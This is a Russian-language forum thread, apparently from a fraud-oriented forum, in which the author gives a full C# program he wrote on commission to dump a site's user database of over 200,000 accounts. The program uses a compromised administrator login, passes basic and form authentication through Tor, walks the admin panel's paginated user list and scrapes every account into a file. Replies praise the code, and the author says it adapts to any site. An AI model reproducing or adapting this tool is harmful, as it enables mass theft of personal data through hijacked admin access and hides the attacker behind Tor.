1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

HTML граббер произвольных форм (c#)

Тема в разделе "Программирование", создана пользователем @nger, 23 янв 2013.

  1. TopicStarter Overlay
    @nger

    @nger Гость

    Часто бывает случай, что нам попадает в руки учетка администратора какого либо сайта.
    Естественно у нас возникнет желание слить базу пользователей, еьайлов, паролей и так далее.
    Однако, зачастую, сама по себе эта учетка не дает доступа к mysql базе, и позволяет лишь просматривать список пользователей
    с их параметрами через веб инетрфейс в виде таблиц с пагинатором(переключатель страниц). В случае когда пользователей много - подобных страниц в пагинаторе может быть тысяча или десятки тысяч.
    Но данные мы хотим и может вытащить. Как? Парся html страницу, перелистывая пагинатор и снова парся ))) И так пока полностью не соберем
    нужную нам базу.

    В прошлом мне попал в руки заказ на дампинг базы одного сайта с более чем 200 т пользователей.
    Доступ в админку использовал 2 уровня авторизации - первый через http basic auth, второй через куки-сессию.
    Далее администратор мог зайти на страницу со списком пользователей, где данные выводились в виде таблицы, с пагинатором.
    Результат следовало представить в виде cvs файла с полями учетных записей.

    Для решения задачи я решил сделать html граббер, который подключался бы к сайту, проходил авторизации,создавал сессию,
    открывал необходимые страницы, грабил данные, перелистывал страницы, пока данные не кончатся.

    Самый простой вариант - использовать .net консольное приложение.
    Делал я его однопоточным, ибо граббинг одной страницы мог занимать продолжительное вермя,
    а заниматься синхронизацией потоков мне было лень.

    Для работы с http протоколом у .net есть встроенный клиент, но по функционалу он слабоват и использовать его малоприятно, посему
    я использовал триальный chilkat http клиент (). Для работы с html структурой использовал преобразование html в xml и дальше для
    работы с xmlстандартный xml.xpath.

    Сам файл кода буду приводить участками, те кто понимает структуру .net программ разберется.

    Код:
    using System;
    using System.Collections.Generic;
    using Chilkat;
    using System.Xml;
    using System.Xml.XPath;
    using System.IO;
    Подключим необходимые асамбли

    Дальнейшая программа будет в теле основной функции )
    Код:
    namespace getter
    {
        class Program
        {
            static void Main(string[] args)
            {
    }}}
    Так как список пользователей был большим и фетч данных мог прерваться, а реализовывать чеки сессии и реконекты - излишне,то предусмотрел возможность устновки начального номера пользователя.
    Код:
    int starter;
      if (args.Length < 1)
            {
                    Console.WriteLine("You can enter start position");
                    Console.WriteLine("You started from 0");
                    starter = 0;
                }
                else
                {
                    Console.WriteLine("You started from {0}", args[0]);
                    starter = Convert.ToInt32(args[0]);
                }
                Console.WriteLine("Started session. Output file =out{0}.txt. Log file = log{0}.txt",starter.ToString());
    
    Далее инициализируем компоненты http - менеджер соединения,request - собственно http реквестер, h2x - конвертер html в xml, xml - обьект под xml версию страницы.
    Код:
      bool success;
                bool suc2;
                string domain;
                int port;
                bool ssl;
                // init library
                Chilkat.HttpRequest request = new Chilkat.HttpRequest();
                Chilkat.HtmlToXml h2x = new Chilkat.HtmlToXml();
                Chilkat.Xml xml = new Chilkat.Xml();
                Chilkat.Http http = new Chilkat.Http();
                success = http.UnlockComponent("Anything for 30-day trial");
                if (success != true)
                {
                    Console.WriteLine("Shit happend");
     
                }
                else
                {
                    Console.WriteLine("http Acitve");
                };
                suc2 = h2x.UnlockComponent("Anything for 30-day trial");
                if (success != true)
                {
                    Console.WriteLine("Shit happend");
     
                }
                else
                {
                    Console.WriteLine("h2x Acitve");
                };
    Для работы через сокс прокси используем параметры(в данном случае локальный tor)
    Код:
     http.SocksHostname = "127.0.0.1";
    http.SocksPort = 9050;
    Далее нам нужно пройти http basic auth для этого инициализируем параметры соединения
    Код:
                http.Login = "логин бейсик ауфа";
                http.Password = "пароль бейсик ауфа";
                http.CookieDir = "memory";
                http.SendCookies = true;
                http.SaveCookies = true;
    Далее для прохождения авторизации через форму и получения куков собственно заполним форму и отправим ее.
    Код:
    string hhh;
                hhh = http.QuickGetStr("http://адрес сайта/admin/login.php");
                if (hhh == null)
                {
                    Console.WriteLine(http.LastErrorText);
                }
                request.UsePost();
                request.Path = "/admin/login.php?err=err2&ref=L2FkbWluL2luZGV4LnBocD8=";
                request.AddHeader("Accept-Encoding", "gzip, deflate");
                request.AddHeader("Refer", "http://адрес сайта/admin/login.php?err=err2&ref=L2FkbWluL2luZGV4LnBocD8=");
                request.AddParam("password", "пароль");
                request.AddParam("ref", "L2FkbWluL2luZGV4LnBocD8=");
                request.AddParam("submit", "login");
                request.AddParam("username", "логин");
                domain = "домен сайта";
                port = 80;
                ssl = false;
                Chilkat.HttpResponse resp = null;
                resp = http.SynchronousRequest(domain, port, ssl, request);
                if (resp == null)
                {
                    Console.WriteLine(http.LastErrorText);
                }
    Сами необходимые параметры пост запроса вытаскивались отладчиком в браузере.
    Далее я получал общее количество учетных записей(оно выводилось отдельно на странице) получая страницу через гет запрос,
    конвертя полученный html в xml и парся xml через xpath

    Код:
              int itemscount;
                itemscount = 0;
                request.SetFromUrl("http://адрес сайта/admin/users.php?sbbut=Report&change_fg_status=0&change_specialprf_status=0&mark_for_introduction=0&fltst=&fltprof=&fltio=%3C%3D&fltlg=&fltsite=&fltrc=&fltusername=&fltemail=&fltfname=&fltlname=&fltrel=&fltmbs=&fltsort=SORTJ&fltcountry=&fltstate=&fltsex=&fltlogged=&fltrating=&fltage=&fltmarital=&fltscammer=&fltspecialperks=&desc=DESC&apply=1&email=&prev_email=0&previd=&language=en&email_from=&subject=&message=&description=&goapply=0&users_fg_240712=no&users_specialprf_240712=no&users_fg_240709=no&users_specialprf_240709=no&users_fg_240706=no&users_specialprf_240706=no&users_fg_240703=no&users_specialprf_240703=no&users_fg_240700=no&users_specialprf_240700=no&users_fg_240697=no&users_specialprf_240697=no&users_fg_240691=no&users_specialprf_240691=no&users_fg_240688=no&users_specialprf_240688=no&users_fg_240685=no&users_specialprf_240685=no&users_fg_240682=no&users_specialprf_240682=no");
                request.UseGet();
                Chilkat.HttpResponse response = null;
                domain = "адрес сайта";
                port = 80;
                ssl = false;
                response = http.SynchronousRequest(domain, port, ssl, request);
     
                if (response == null)
                {
                    Console.WriteLine(http.LastErrorText);
                }
     
                if (response.StatusCode == 200)
                {
                    h2x.XmlCharset = "utf-8";
                    h2x.Html = response.BodyStr;
                    string xml1;
                    xml1 = h2x.ToXml();
                    XmlReader xmlr;
                    xmlr = XmlReader.Create(new StringReader(xml1));
                    XPathDocument doc = new XPathDocument(xmlr);
                    XPathNavigator nav = doc.CreateNavigator();
                    XPathExpression expr;
                    expr = nav.Compile("//form/table/tr/td/text[1]");
                    XPathNodeIterator iterator = nav.Select(expr);
                    iterator.MoveNext();
                    XPathNavigator nav2 = iterator.Current.Clone();
                    string itemcount;
                    itemcount = nav2.Value;
                    itemcount = itemcount.Replace(System.Environment.NewLine, "");
                    itemcount = itemcount.Replace("\n", "");
                    itemcount = itemcount.Replace(" ", "");
                    string pos;
                    pos = itemcount.Substring(12);
                    itemscount = Convert.ToInt32(pos);
                }
                Console.WriteLine("Where are {0} items", itemscount);
                TextWriter outfile = new StreamWriter("out"+starter.ToString()+".txt");
                TextWriter logfile = new StreamWriter("log" + starter.ToString() + ".txt");
    Тут урл гет запроса так же брался из отладчика в браузере, и самое главное это описать правильный экспрешен
    для вытаскиваемого из страницы элемента.
    В моем случае это был первый текст в таблице.
    Проверять и подбирать експрешен - интересная задача)) Делается в отладчике самой студии, дампя xml документ и подбирая
    експрешен.
    После того как результат получен и записан в лог файлы мы начинаем собственно перебор самих страниц.
    В моем случае на странице выводилось 10 учетных записей, а пагинатор работал как параметр гет запроса равный стартовой записи.
    Код:
              int counter;
                counter = starter;
                while (counter <= itemscount)
                {
                    request.SetFromUrl("http://адрес сайта/admin/users.php?sbbut=Report&change_fg_status=0&change_specialprf_status=0&mark_for_introduction=0&fltst=&fltprof=&fltio=%3C%3D&fltlg=&fltsite=&fltrc=&fltusername=&fltemail=&fltfname=&fltlname=&fltrel=&fltmbs=&fltsort=SORTJ&fltcountry=&fltstate=&fltsex=&fltlogged=&fltrating=&fltage=&fltmarital=&fltscammer=&fltspecialperks=&desc=DESC&apply=1&email=&prev_email=0&previd=&language=en&email_from=&subject=&message=&description=&goapply=0&users_fg_240712=no&users_specialprf_240712=no&users_fg_240709=no&users_specialprf_240709=no&users_fg_240706=no&users_specialprf_240706=no&users_fg_240703=no&users_specialprf_240703=no&users_fg_240700=no&users_specialprf_240700=no&users_fg_240697=no&users_specialprf_240697=no&users_fg_240691=no&users_specialprf_240691=no&users_fg_240688=no&users_specialprf_240688=no&users_fg_240685=no&users_specialprf_240685=no&users_fg_240682=no&users_specialprf_240682=no&start=" + Convert.ToString(counter));
                    request.UseGet();
                    response = null;
     
                    domain = "домен сайта";
                    port = 80;
                    ssl = false;
                    response = http.SynchronousRequest(domain, port, ssl, request);
     
                    if (response == null)
                    {
                        Console.WriteLine(http.LastErrorText);
                    }
     
                    if (response.StatusCode == 200)
                    {
                        h2x.XmlCharset = "utf-8";
                        h2x.Html = response.BodyStr;
                        string xml1;
                        xml1 = h2x.ToXml();
                        XmlReader xmlr;
                        xmlr = XmlReader.Create(new StringReader(xml1));
                        XPathDocument doc = new XPathDocument(xmlr);
                        XPathNavigator nav = doc.CreateNavigator();
                        XPathExpression expr;
                        expr = nav.Compile("//tr[@id]/td[4]/text");
                        XPathNodeIterator iterator = nav.Select(expr);
                        try
                        {
                            while (iterator.MoveNext())
                            {
                                XPathNavigator nav2 = iterator.Current.Clone();
                                string insertstring;
                                insertstring = nav2.Value;
                                insertstring = insertstring.Replace(System.Environment.NewLine, "");
                                insertstring = insertstring.Replace("\n", "");
                                outfile.WriteLine(insertstring);
                                logfile.Flush();
                            }
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine(ex.Message);
                        }
                        string outstring = "Complete items from " + counter.ToString()+" to " +(counter+10).ToString()+" from "+itemscount.ToString();
                        Console.WriteLine(outstring);
                        logfile.WriteLine(outstring);
                                          counter = counter + 10;
     
                    }
                    else
                    {
                        Console.WriteLine("Http responce status = " + response.StatusCode);
                    }
                }
                outfile.Close();
                logfile.Close();
                Console.WriteLine("Full Complete");
                Console.ReadKey();
    
    Собственно тут мы получаем страницу, конвертим ее в xml. Далее построчно вытаскиваем строки с данными об аккаунте и записываем их в файл.
    После каждой страницы скидываем буфер логфайла на диск.

    Собственно дальше полученный файл проходился отдельно програмкой конвертером в csv который думаю тут приводить смысла нет.

    Итак о чем я хотел написать в этой статейке.

    О том как данные можно получить банальным перебором html страниц с их дальнейшим разбором и изьятием необходимых элементов.
    Да это работает медленно, но это работает.
    Когда нет дургих путей собрать данные с сайта - это наилучший вариант.

    За этим все.
     
    • Like Like x 5
    Метки:
  2. TopicStarter Overlay
    Ltybcrf

    Ltybcrf Гость

    Супер супер супер! ...Вы програмист?
    На чём кодите? кроме шарпа!?
     
  3. TopicStarter Overlay
    @nger

    @nger Гость

    много на чем(и императивщина и функциональщина и веб).
    под конкретную задачу и язык выбираю.
     
  4. TopicStarter Overlay
    @nger

    @nger Гость

    на ваше усмотрение.

    на хайд это не влияет же :D
     
  5. TopicStarter Overlay
    }{OTT@BY4

    }{OTT@BY4 Гость

    Классный проект а главное код грамотно расписан:)) ГРАЦ
     
  6. TopicStarter Overlay
    @nger

    @nger Гость

    да то не проект. а разовая програмка для грабинга базы с сайта.
    ее переписать можно при желании под любой другой сайт.
    весь геморой только в эксперешнах для доступа к элементам xml через xpath
    я половину времени потратил именно на это
     
  7. TopicStarter Overlay
    Hellsing80

    Hellsing80 Гость

    Please login or register to view links самостоятельно изучали программирование или в институте
     

Поделиться этой страницей

Загрузка...